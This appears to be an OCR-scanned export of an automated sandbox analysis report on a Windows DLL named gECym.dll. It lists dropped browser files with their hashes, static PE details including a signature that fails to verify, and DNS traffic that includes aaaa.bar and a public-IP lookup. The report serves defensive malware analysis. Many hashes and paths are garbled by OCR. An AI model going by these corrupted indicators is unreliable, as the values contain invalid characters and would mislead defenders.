SHA-512: FD8CC23EBDF673D3478AD7AA71A85586EF7E413846A715BF96EEEC762D68C7410EB358818711C83B76D1DF8863A46640EAFAABCL1CAG7845B725CELA99EF740:
A

Malicious: false

Reputation: unknown

Preview:

Kjj.a.q.f.aj.N.2.c.0.u.z.g.v.1.1.4.q.y.5.nf.W.e.

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{D1D55D3D-31F2-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 3584

Entropy (8bit): 1.5617078821522077

Encrypted: false

SSDEEP: 12:rixAF6cDrEgm8GD7KFsr+IXDrEgm8GD7qw9lpQA9dI:ryG80r+ITG8C9laAg
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{D1D55D3D-31F2-11EC-90E5-ECF4BB570DC9}.dat
MD5: 7D83E65B1A457E107649B777321DD535

SHA1L: 0910FEDDE1889D1FB167F3877BFEDB2C89B371FF

SHA-256: 76E6CFBA96B530161AA5C22CCOBAIBAE299A3E3AAEDDD6E93DF71F6671BA757BD

SHA-512: 696D0340BFBA24A714949F68382605708EC1C32B893E2768C942FE29154059D39033FD7D83EF3AE9A4EIAFA371E13AC23E0948EC9262828D6F5C6DDA1D7B0OCSS
Malicious: false

Reputation: unknown

Preview:

R.0.0.t. .[E.ntry.

Jj.a.q.f.aj.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.fW.e

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 356

Entropy (8bit):  5.09283390816657

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltqc41EH8tPCTDI0/QL3WIZKOQhPPFVDHKEtMjwu: TMHANMNXOEHCPCnhWimI00ONVbKEtMb

MDS5: 62E15860B582D37CA3DC1E8D89A26808

SHAL: A3CABF879F027A187BAED3808170D6DCIBB869AB

SHA-256: 88E4A132068204BC44F931CCA5AD81C3A1C24D9EABSC1A76FE491C8FC15462F3

SHA-512: AC7BCEF376AEOF612E9BIEE6AA7FF7BD3C72B18E404160E531B73DB25AE7C52427BCC45DC4CE285ACDDCDDO3CA9FOF9A714B0A13A44DES884FDIB2F82E7L
1B17

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x2c5acf47,0x01d7c5ff</date><accdate>0x
2de0356b,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 354

Entropy (8bit):  5.154761999497282

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltqc4fLGTKCQmS5xupnPCTDI0/QL3WIZKOQhPPFkISkUSEtMjwu: TMHANMNxe2kY5xulPCnWiml00ONkak6t

MD5: 0B75967CE7823399CC9E68BFB39555AB

SHA1L: 091F7FD13C40120E60A7DB5EF077C57FE360A7A4

SHA-256: E063C3FB1FAC640CC3A5D45DC8B1C4118D9E49F038353D08E3007895D01B2C66

SHA-512: 90AA3E8082FCED94D90ESEF2EC85FA5A1A7D34BESO9FCEEAOBC537C57B8A7007D37783E910A6A06B02D30CF7C099EBDOABID7A29CBF2A008AC60D05A96A91
6D0

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x282eb4dc,0x01d7c5ff</date><a
ccdate>0x29494c¢51,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 360

Entropy (8bit):  5.115695135561688

Encrypted: false

SSDEEP: 6:TMVBdcOEMALD5Ltqc4GLXHcO7IG+X3PCTDI0/QL3WIZKOQhPPFyhBcEEtMjwu: TMHANMNXVL7IG+nPCnWimI00ONmMZEty
MD5: 995D36FBF50B147C5BBB8631E1818BCB

SHAL: A717E139D22DADFDF5E3001311548D2B8162736B

SHA-256: 1037C0DB52D760F85E31788A79938F98C02DAAAS03EB1EF17428780DA5CF7A53

SHA-512: BCFA4CF4E390276F2D2028515C9AC177F5DC06B1116676F21431CA96F442615E211EB3C8BC36A86F271F937F25B90911AD29088EEFBEC6212C61FESO0DOEOOAZER
Malicious: false

Reputation: unknown
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x2dfeb9f7,0x01d7c5ff</date><accdate>
0x2e974fc7,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 350

Entropy (8bit):  5.103042002751772

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltqc4Jfh8xPCTD90/QL3WIZKOQhPPFgESEtMjwu: TMHANMNXi58XPCnWimI00ONd5EtMb

MDS5: 1DOE1196E21C30784542EA183D95A74A

SHA1L: CE8404D40C89CAABAADC3CBFOABB29A289D1ELFE

SHA-256: 38D4C1B1A09D82ACE7C8FA471101DCBIDD56C6F7DB175C3EFC8505312D651F66

SHA-512: C369214C76B5F5BD6D0A6C3215924D1104D47DIFAES90C5BE6SDBI7AE208CEADEDSC7F458C749C7E3E7DEC50957F85E737B608C2FD6CIEB0182AFF042BODEE
1E

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x29f123e3,0x01d7c5ff</date><acc
date>0x2a0fa821,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-6757900\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 356

Entropy (8bit):  5.129962863682922

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltqc4UxGwjkiI3GPCTDI0/QL3WIZKOQhPPF8KOQUSEtMjwu: TMHANMNxhGwQI3GPCnWimIOOON8KO75t
MD5: 9EE7BB9F737A35DFED726C4336113B67

SHAL: AD66D3D924114AF6CCFBA356BE34F2F31363B218

SHA-256: E9840BF4F1450FC2AF52F31F730021228A7CB245A9618D2869C5C8AC3A9265D3

SHA-512: E140396C5BBDD8C96C0826DA5A79BD7E76118612485005F11ABBFEA4531159802B10B7D98A37AB166C629B2BD3DE30DFOA2F76C99D003AD12814C6C62A12F02
Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x2f7¢3137,0x01d7c5ff</date><
accdate>0x2fa2086b,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Y
outube.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 354

Entropy (8bit):  5.097430067460448

Encrypted: false

SSDEEP: 6:TMVBdcO9EMALD5Ltqc4Qun2Bpm+PCTD90/QL3WIZKOQhPPFAKEtMjwu: TMHANMNxOnUpm+PCnWimIOOONXEtMb
MD5: A20F5AC3338194FC43A94D368F1C9BC4

SHAL: AB3F7F046C8BD7B4C9D859B489E1125AC0A1BF8E

SHA-256: E6ADD4201A8FA3A044175A4FBBCA41E37D77B534B4E6673B2E0750DC55A27567

SHA-512: CF7D7AA80F1E1BC5593AF427094F393F96EB82086EFE6D79437CFF5A319128789FB371C14E36A76062FCBC6E74A0E0611180B6B24015AC9408E1DFE4E7953331
Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x2bff4231,0x01d7c5ff</date><accdate>0x2
c3c4bad,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></
msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin20259167780\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 356
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin20259167780\msapplication.xml
Entropy (8bit):  5.157487660473765

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltqc40TZE+dSVX3PCTDI0/QL3WIZKOQhPPFEKg5EtMjwu: TMHANMNXXZE+0I3PCnWimIO0OON6Kg5ES

MDS5: 9CCO05798E2875E33DA3EDFOEC27114E7

SHA1L: FCA636BIEE2F1ED2BE5CC432D7858B2A1F39448C

SHA-256: E49C4CC7CB305E47A167A3CF2903AC6ACFE07BB3B4A768C6ESCE7456382FB759

SHA-512: 097E6FD828903745B87COCABEF36F5B68416CD17AASBE9A777BCACC3A8AAB951BCC234E42B3D6290FF87AFCB6C8A38A6DC73AD181DEOCA479BADABFCFD151
6AE

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x2aa83e96,0x01d7c5ff</date><
accdate>0x2bca2890,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\N
YTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process: C:\Program Files\internet exploreniexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 358

Entropy (8bit):  5.13236679854782

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltgc4YX2nWisFVUB+PCTD90/QL3WIZKOQhPPFO2CqEtMjwu: TMHANMNXcWIC++PCnWimIOOONVEtMb

MD5: 10F611B03BE4A108C81266AFDCD91385

SHA1L: 12FBE36DE82221E790A9A5D466BB2662571FF974

SHA-256: DOBCC8F1B999D1ECCD3ADBE429D4CE109D233FF0A713690067BC285BAC7ACAAL

SHA-512: OF05E1D796COEC220F3A159ADAA979E5F7DCBCCA6751D115595DF405D50F9A8F037D9B309523CIFALFCEBC2B72FC7C898E10918610FAD70B8A6FC1726EFAAS
D

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x2977127a,0x01d7c5ff</date>
<accdate>0x298da916,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\
Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoftlinternet Explorer\Tiles\pin8215062560\msapplication.xml

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 354

Entropy (8bit):  5.133907694283372

Encrypted: false

SSDEEP: 6:TMVBdc9EMdLD5Ltgc4Inb17y3+GcPCTDI0/QL3WIZKOQhPPFWESEtMjwu: TMHANMNXxfnZ23+5PCnWimI00ONe5EtMb

MD5: 7C6EB178DBB0O4EBFC7E6B9C793025BC0O

SHA1L: 326D228502753815F74904D961CF0C9734D9201A

SHA-256: D1273EDCD6D95D4D85DC4F1F090A939C59D9B88E01FE6B5DB815506A180D4DEGA

SHA-512: 01725A4426637D7770EBCB78CA365C13DAD5095B5D7BABI6F7CB93E4921BBD40CD7E82B6FIF864B50EC0435564CF584FACAC20C8D7E3EAL6COE08081F06D6LC
3

Malicious: false

Reputation: unknown

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x29b46a73,0x01d7c5ff</date><a
ccdate>0x29d29f72,0x01d7c5ff</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Go
ogle.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Temp\~DF062D96AA82264A2D.TMP

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 16384

Entropy (8bit):  0.08578582712352636

Encrypted: false

SSDEEP: 3:NUofhQOSA/WU/Ig/Icllivint+lybltlilIRsIkhIEKI/aEhh4V7:fpQ/AecgUFAlkxHbh4V7

MD5: A290D9C564235C12A4957F7722B9C169

SHAL: DE05A28BE040AA95C2D8D6A6CC15780A22C98032

SHA-256: 4763A26542D87F93254C9A1BE3DE157209CE44AEEE8225E2C45E8CCAC945E71B

SHA-512: DB37057AF3CFDDCBF6252D32D5C11D7134D3C90DEF8F4062A526B3C5B28A5AB31354EC4BE00381CE85D6D83CFAEFE49DCD2B6F59EBFI30F1BE899CE49752¢
81
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C:\Users\user\AppData\Local\Temp\~DF062D96AA82264A2D.TMP

Malicious: false
Reputation: unknown
Preview:

C:\Users\luser\AppData\Local\Temp\~DF1DO0E3EB87BA124E4.TMP

Process: C:\Program Files\internet exploren\iexplore.exe
File Type: data

Category: dropped

Size (bytes): 16384

Entropy (8bit):  0.06045461972774207

Encrypted: false

SSDEEP: 3:alFXEAUOIIIfItE3IX9/DI/Oly3IgHIOlIftRsIkhIEKIIM+lylhlIAIFJejl+IE:a/vlisngFO/AlkxFIBGKJEW1

MDS5: 9FFCF967410609EAB508F254E7CA6AA2

SHA1L: 061671A355104728137C16CDEC077B7312545F36

SHA-256: A3EC8754D1131E7E3F9E35A5EA52257B5CAE7686F3F4355DA048AC16F4A30E98

SHA-512: 11D215E25AFE2EB70C54C54C6B4E3125382C842324889FFC15E1BIFOE333C04473E9ABEED6FBDAOC09478693811EF46EFE97A16D08209EF00496B98AFDEB697:
Malicious: false

Reputation: unknown

Preview:

C:\Users\luser\AppData\Local\Temp\~DF21F93D34852E97E1.TMP

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 16384

Entropy (8bit):  0.06045461972774207

Encrypted: false

SSDEEP: 3:alFXEAUOIIIfItE3IX9/DI/Oly3IgHI0lIftRsIkhIEKIIM+lylhIIAIFJejl+E:a/vlisng FO/AlkxFIBGK]EW1
MD5: 9FFCF967410609EAB508F254E7CAGAA2

SHA1L: 061671A355104728137C16CDEC077B7312545F36

SHA-256: A3EC8754D1131E7E3F9E35A5EA52257B5CAE7686F3F4355DA048AC16F4A30E98
SHA-512: 11D215E25AFE2EB70C54C54C6B4E3125382C842324889FFC15E1B9FOE333C04473E9A8EED6FBDAOC09478693811EF46EFE97A16D08209EF00496B98AFD6B697!
Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppDatal\Local\Temp\~DF61B4A5E235D16C22.TMP

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 176128

Entropy (8bit):  3.348410225065147

Encrypted: false

SSDEEP: 3072:cZ/2BfcdmubkgTzGtPZ/2Bfc+muSkgTzGt:VA

MD5: 1BC9D33003AE79A9DC826B9177CE4107

SHAL: E2FE82C8A27AB5D6FEB48FC0036F41BE4F2753FF

SHA-256: 76493F5DDC21ABC9DOFC4172AC29CES56937AF95407FA16AF758741BD8B99CAAT
SHA-512: E85C349FB6DAOE3FC7C7C215D3BC919330D9415898894F29AB806161D5AE2854389CED20A5231772E23C0DE03971D2E7C30467FC094012ECE8C20D5B97E780B
Malicious: false

Reputation: unknown

Preview:
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C:\Users\user\AppData\Local\Temp\~DF9813413A47FA9BB0.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

16384

0.05700439027613612

false

3:alFXEAUOollIHIly+I11X9/DI/Oly3IgHIXXIRsIKhIEKIIM+lylhllAIF Jejltl:a/vIIrNngFAIkxFIBGK|1
BAE4F7A74A5A11C6C051F0918C1CECEF
C352D244D87037DE12A8995C84FF85B517F333CE
8BC3D5AA4632E5A49AD6B02696D9535763AFACE8D940695035F6EBED411098AE

B5F643956DEB154C4604ACD45FDE9DD8FF6CF6B4B0801DFA80B96D5A64ED7D37F095BBB2C67D09DC6895C32017B20551996E5387DFB9B34DF494237FB53A40
0

false

unknown

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

MS-DOS executable, MZ for MS-DOS
6.669453102824052

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%

Generic Win/DOS Executable (2004/3) 0.20%
DOS Executable Generic (2002/1) 0.20%

VXD Driver (31/22) 0.00%

Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

e o o o

gECym.dll

263072

fcb53acd5fd1637a2ac1bc69f396e92¢
a09432a56375c5a39856d59e402c3f8642edda7b

€c7045d9fe77c4aadch646d01fb4700008a34f58f49358d
0b0b0997d21016aab

47bcd8326a65h2a50ee7a9691853c6a6d6ad24ad4ela?’
60794aa20c137450017793ed9756302666b6b1aed9304¢
d879395a6fde2c95f9h9fc67cadbd6e38116

3072:eb/VDsMK5SdPIKCXbkBIKv1y5Gun6XKWRDCXE
X55d2wNQ+XnwEf4bvuQ50jrDGZt:WCoMRtEXKUSRA

CdOj57jY5jM9H8eGN

oL This
-7Afram cannot be run in DOS mode....$....... PE..L...8y0
a. PSP PSP PR PoiZin

File Icon

Icon Hash: 70e8d0dchc30f462

Static PE Info

General

Entrypoint: 0x100095ff

Entrypoint Section: text

Digitally signed: true

Imagebase: 0x10000000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:
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General

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Authenticode Signature

Signature Valid:

Signature Issuer:

Signature Validation Error:
Error Number:

Not Before, Not After
Subject Chain

Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview

Data Directories

Sections

Name Virtual Address Virtual Size Raw Size Xored PE
text 0x1000 0x1b22d 0x1b400 False
.rdata  0x1d000 0x1f0 0x200 False
.data  0x1e000 Ox2la2a 0x1e600 False
.rsrc 0x40000 0x1020 0x1200 False
.reloc 0x42000 0x27e4 0x2800 False
Resources

Imports

Exports

Version Infos

Possible Origin

Language of compilation system

English

Copyright Joe Security LLC 2021

ZLIB Complexity
0.555260894495

0.49609375

0.583116319444

0.330512152778

0.80029296875

Country where language is spoken

United States

0x616F7938 [Wed Oct 20 02:04:40 2021 UTC]

o~ O » O »

91478fc94f6cfd55f2f79a8082441b87

false

CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network,
O=Symantec Corporation, C=US

The digital signature of the object did not verify
-2146869232
e 7/29/2015 5:00:00 PM 7/29/2018 4:59:59 PM

e CN=Fortinet Technologies (Canada) Inc., O=Fortinet Technologies (Canada) Inc.,
L=Burnaby, S=British Columbia, C=CA

3

CED7C13C8B94994AFFCC6AD7B7DF388F
B27F938A1E7F314A7B60C48EA196961CDAAQIF7A
3C658DDCD37DFAG5F69C0B35697EDAA12DBDF68388A9AD54BBEFCF24F786ABB7
5755C3BFA958E29EFIDCA3FBAIFC02D4

File Type Entropy Characteristics

data 6.48316057239 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_CNT_CODE,

IMAGE_SCN_MEM_READ

COM executable for DOS 3.58053780946 IMAGE_SCN_CNT_INITIALIZED
DATA,

IMAGE_SCN_MEM_READ

data 6.017622124 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_WRITE,

IMAGE_SCN_MEM_READ

data 3.17732875516  IMAGE_SCN_CNT_INITIALIZED
_DATA,

IMAGE_SCN_MEM_READ

data 6.81110960286  IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_DISCARDA

BLE, IMAGE_SCN_MEM_READ

Map
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Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 20, 2021 15:08:30.124794960 CEST 192.168.2.5 8.8.8.8 0x9bed Standard query  www.msn.com A (IP address) IN (0x0001)
(©)

Oct 20, 2021 15:08:34.783061028 CEST 192.168.2.5 8.8.8.8 0x9bf0 Standard query  web.vortex A (IP address) IN (0x0001)
(0) .data.msn.com

Oct 20, 2021 15:08:35.327625990 CEST 192.168.2.5 8.8.8.8 0x4079 Standard query  contextual A (IP address) IN (0x0001)
0) .media.net

Oct 20, 2021 15:08:35.864444971 CEST 192.168.2.5 8.8.8.8 0x8e2a Standard query  geolocatio A (IP address) IN (0x0001)
0) n.onetrust.com

Oct 20, 2021 15:08:38.127250910 CEST 192.168.2.5 8.8.8.8 0x427 Standard query  hblg.media.net A (IP address) IN (0x0001)
)

Oct 20, 2021 15:08:38.603321075 CEST 192.168.2.5 8.8.8.8 0x2333 Standard query  lg3.media.net A (IP address) IN (0x0001)
)

Oct 20, 2021 15:08:40.389971972 CEST 192.168.2.5 8.8.8.8 0x8204 Standard query  cvision.media.net A (IP address) IN (0x0001)
()

Oct 20, 2021 15:08:42.134711981 CEST 192.168.2.5 8.8.8.8 0x5b7b Standard query  btloader.com A (IP address) IN (0x0001)
)

Oct 20, 2021 15:08:50.150769949 CEST 192.168.2.5 8.8.8.8 0xb143 Standard query  ad.doublec A (IP address) IN (0x0001)
(0) lick.net

Oct 20, 2021 15:08:50.207711935 CEST 192.168.2.5 8.8.8.8 0xd300 Standard query  ad-delivery.net A (IP address) IN (0x0001)
)

Oct 20, 2021 15:08:51.055684090 CEST 192.168.2.5 8.8.8.8 0x4857 Standard query  srtb.msn.com A (IP address) IN (0x0001)
()

Oct 20, 2021 15:08:55.795512915 CEST 192.168.2.5 8.8.8.8 0xd38f Standard query  img.img-ta A (IP address) IN (0x0001)
0) boola.com

Oct 20, 2021 15:12:01.904071093 CEST 192.168.2.5 8.8.8.8 Oxabch Standard query  aaaa.bar A (IP address) IN (0x0001)
(©)

Oct 20, 2021 15:12:02.095237970 CEST 192.168.2.5 8.8.8.8 0x7101 Standard query  aaaa.bar A (IP address) IN (0x0001)
()

Oct 20, 2021 15:12:08.391160011 CEST 192.168.2.5 8.8.8.8 0Oxbb42 Standard query  aaaa.bar A (IP address) IN (0x0001)
)

Oct 20, 2021 15:12:14.814949036 CEST 192.168.2.5 8.8.8.8 0x3bf8 Standard query  aaaa.bar A (IP address) IN (0x0001)
(©)

Oct 20, 2021 15:12:39.636048079 CEST 192.168.2.5 8.8.8.8 0x8546 Standard query  resolverl. A (IP address) IN (0x0001)
0) opendns.com

Oct 20, 2021 15:12:39.637876987 CEST 192.168.2.5 8.8.8.8 Oxle25 Standard query  resolverl. A (IP address) IN (0x0001)
0) opendns.com

Oct 20, 2021 15:12:39.658279896 CEST 192.168.2.5 208.67.222.222  0Ox1 Standard query ~ 222.222.67 PTR (Pointer IN (0x0001)
0) .208.in-addr.arpa  record)

Oct 20, 2021 15:12:39.660295963 CEST 192.168.2.5 208.67.222.222  0x1 Standard query = 222.222.67 PTR (Pointer IN (0x0001)
0) .208.in-addr.arpa  record)

Oct 20, 2021 15:12:39.675090075 CEST 192.168.2.5 208.67.222.222  0x2 Standard query  myip.opend A (IP address) IN (0x0001)
0) ns.com

Oct 20, 2021 15:12:39.676615000 CEST 192.168.2.5 208.67.222.222  0x2 Standard query  myip.opend A (IP address) IN (0x0001)
(0) ns.com

Oct 20, 2021 15:12:39.697055101 CEST 192.168.2.5 208.67.222.222  0x3 Standard query  myip.opend 28 IN (0x0001)
(0) ns.com

Oct 20, 2021 15:12:39.697527885 CEST 192.168.2.5 208.67.222.222  0x3 Standard query  myip.opend 28 IN (0x0001)
0) ns.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 20, 2021 8.8.8.8 192.168.2.5 0x9bed No error (0) www.msn.com  www-msn-com.a-0003.a- CNAME IN (0x0001)

15:08:30.142769098 msedge.net (Canonical

CEST name)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 20, 2021 8.8.8.8 192.168.2.5 0x9bf0 No error (0) web.vortex web.vortex.data.microsoft CNAME IN (0x0001)
15:08:34.812608957 .data.msn.com .com (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0x4079 No error (0) contextual 23.211.6.95 A (IP address)  IN (0x0001)
15:08:35.347404957 .media.net

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x8e2a No error (0) geolocatio 104.20.184.68 A (IP address)  IN (0x0001)
15:08:35.886532068 n.onetrust.com

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x8e2a No error (0) geolocatio 104.20.185.68 A (IP address)  IN (0x0001)
15:08:35.886532068 n.onetrust.com

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x427 No error (0) hblg.media.net 23.211.6.95 A (IP address)  IN (0x0001)
15:08:38.147479057

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x2333 No error (0) Ig3.media.net 23.211.6.95 A (IP address)  IN (0x0001)
15:08:38.624269009

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x8204 No error (0) cvision.me cvision.media.net.edgeke CNAME IN (0x0001)
15:08:40.407922983 dia.net y.net (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0x5b7b No error (0) btloader.com 104.26.7.139 A (IP address)  IN (0x0001)
15:08:42.155055046

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x5b7b No error (0) btloader.com 104.26.6.139 A (IP address)  IN (0x0001)
15:08:42.155055046

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x5b7b No error (0) btloader.com 172.67.70.134 A (IP address)  IN (0x0001)
15:08:42.155055046

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0xb143 No error (0) ad.doublec dart.l.doubleclick.net CNAME IN (0x0001)
15:08:50.176003933 lick.net (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0xb143 No error (0) dart.l.dou 172.217.168.38 A (IP address)  IN (0x0001)
15:08:50.176003933 bleclick.net

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd300 No error (0) ad-delivery.net 104.26.3.70 A (IP address)  IN (0x0001)
15:08:50.230431080

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd300 No error (0) ad-delivery.net 172.67.69.19 A (IP address)  IN (0x0001)
15:08:50.230431080

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd300 No error (0) ad-delivery.net 104.26.2.70 A (IP address)  IN (0x0001)
15:08:50.230431080

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x4857 No error (0) srtb.msn.com Www.msn.com CNAME IN (0x0001)
15:08:51.086312056 (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0x4857 No error (0) www.msn.com  www-msn-com.a-0003.a- CNAME IN (0x0001)
15:08:51.086312056 msedge.net (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd38f No error (0) img.img-ta tls13.taboola.map.fastly.n CNAME IN (0x0001)
15:08:55.814032078 boola.com et (Canonical

CEST name)

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd38f No error (0) tls13.tabo 151.101.1.44 A (IP address)  IN (0x0001)
15:08:55.814032078 ola.map.fa

CEST stly.net

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd38f No error (0) tls13.tabo 151.101.65.44 A (IP address)  IN (0x0001)
15:08:55.814032078 ola.map.fa

CEST stly.net

Oct 20, 2021 8.8.8.8 192.168.2.5 0xd38f No error (0) tls13.tabo 151.101.129.44 A (IP address)  IN (0x0001)
15:08:55.814032078 ola.map.fa

CEST stly.net

